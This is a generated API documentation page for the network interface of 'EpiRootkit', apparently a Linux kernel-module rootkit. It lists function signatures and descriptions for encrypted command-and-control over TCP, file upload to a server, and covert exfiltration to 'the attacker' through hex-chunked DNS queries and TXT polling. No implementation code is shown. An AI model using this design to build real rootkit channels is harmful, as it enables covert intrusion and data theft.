![]() |
EpiRootkit
By STDBOOL
|
#include <linux/delay.h>#include <linux/errno.h>#include <linux/fcntl.h>#include <linux/in.h>#include <linux/inet.h>#include <linux/kthread.h>#include <linux/module.h>#include <linux/mutex.h>#include <linux/net.h>#include <linux/random.h>#include <linux/socket.h>#include <linux/uio.h>#include "config.h"#include "crypto.h"#include "cmd.h"Go to the source code of this file.
Functions | |
| int | send_to_server_raw (const char *data, size_t len) |
| int | send_to_server (enum Protocol protocol, char *message,...) |
| int | receive_from_server (char *buffer, size_t len) |
| int | send_file_to_server (char *filename) |
| struct socket * | get_worker_socket (void) |
| struct socket * | set_worker_socket (struct socket *s) |
| int | close_worker_socket (void) |
| int | connect_worker_socket_to_server (struct sockaddr_in *addr) |
| bool | is_user_auth (void) |
| int | set_user_auth (bool auth) |
| int | start_network_worker (void) |
| int | stop_network_worker (void) |
| int | dns_send_data (const char *data, size_t len) |
| Exfiltrate a data buffer over DNS by hex-chunked A-queries. | |
| int | dns_receive_command (char *buffer, size_t max_len) |
| Poll the attacker via DNS TXT-query for a pending command. | |
| int | start_dns_worker (void) |
| Starts the DNS worker kernel thread. | |
| int | stop_dns_worker (void) |
| Stops the DNS worker kernel thread. | |
| int close_worker_socket | ( | void | ) |
close_worker_socket - Closes the worker socket. Return: 0 on success, or an error code on failure.
Definition at line 43 of file socket.c.
| int connect_worker_socket_to_server | ( | struct sockaddr_in * | addr | ) |
connect_worker_socket_to_server - Connects the worker socket to the server.
| addr | The server address to connect to. Return: 0 on success, or a negative error code on failure. |
Definition at line 59 of file socket.c.
| int dns_receive_command | ( | char * | out_buffer, |
| size_t | max_length | ||
| ) |
Poll the attacker via DNS TXT-query for a pending command.
| out_buffer | Buffer to store received command string. |
| max_length | Maximum size of out_buffer. |
Definition at line 222 of file dns.c.
| int dns_send_data | ( | const char * | data, |
| size_t | data_len | ||
| ) |
Exfiltrate a data buffer over DNS by hex-chunked A-queries.
Splits data into chunks of DNS_MAX_CHUNK bytes, prefixes each chunk with a "seq/total-" header, hex-encodes, and sends as subdomains. Sleeps briefly between queries to avoid flooding.
| data | Pointer to data buffer to send. |
| data_len | Length of data in bytes. |
Definition at line 149 of file dns.c.
| struct socket * get_worker_socket | ( | void | ) |
Definition at line 17 of file socket.c.
| bool is_user_auth | ( | void | ) |
is_user_auth - Check if the user is authenticated. Return: true if the user is authenticated, false otherwise.
Definition at line 13 of file tcp/worker.c.
| int receive_from_server | ( | char * | buffer, |
| size_t | max_len | ||
| ) |
receive_from_server - Receives a message from the server, decrypts it, and processes it.
| buffer | The buffer to store the received message. |
| max_len | The maximum length of the buffer. |
This function reads chunks from the server, assembles them, decrypts the complete message, and returns it in the provided buffer. It handles both text commands and file uploads.
Return: The length of the received message on success, negative error code on failure.
Definition at line 200 of file network.c.
| int send_file_to_server | ( | char * | filename | ) |
| int send_to_server | ( | enum Protocol | protocol, |
| char * | message, | ||
| ... | |||
| ) |
send_to_server - Sends a formatted message to the server using the specified protocol.
| protocol | The communication protocol to use (TCP or DNS). |
| message | The format string for the message to send. |
| ... | Additional arguments for formatting the message. |
Return: 0 on success, negative error code on failure.
Definition at line 67 of file network.c.
| int send_to_server_raw | ( | const char * | data, |
| size_t | len | ||
| ) |
send_to_server_raw - Sends raw data to the server using the TCP protocol.
| data | The data to send. |
| len | The length of the data. |
This function encrypts the data, splits it into chunks, and sends each chunk to the server. Each chunk contains metadata about the total number of chunks, its index, and the length of the data in the chunk.
Return: 0 on success, negative error code on failure.
Definition at line 123 of file network.c.
| int set_user_auth | ( | bool | auth | ) |
set_user_auth - Set the user authentication status.
| auth | true to authenticate the user, false to unauthenticate. Return: 0 on success, or an error code on failure. |
Definition at line 22 of file tcp/worker.c.
| struct socket * set_worker_socket | ( | struct socket * | s | ) |
set_worker_socket - Sets the worker socket.
| s | The socket to set as the worker socket. Return: Pointer to the newly set worker socket. |
Definition at line 30 of file socket.c.
| int start_dns_worker | ( | void | ) |
Starts the DNS worker kernel thread.
This function initializes and starts a kernel thread that listens for commands sent over DNS. If the thread is already running, it returns an error code indicating that the resource is busy.
Definition at line 45 of file dns/worker.c.
| int start_network_worker | ( | void | ) |
start_network_worker - Start the network worker thread.
Definition at line 161 of file tcp/worker.c.
| int stop_dns_worker | ( | void | ) |
Stops the DNS worker kernel thread.
This function stops the running DNS worker thread and cleans up its resources. If the thread is not running, it returns an error code indicating invalid operation.
Definition at line 72 of file dns/worker.c.
| int stop_network_worker | ( | void | ) |
stop_network_worker - Stop the network worker thread.
Definition at line 185 of file tcp/worker.c.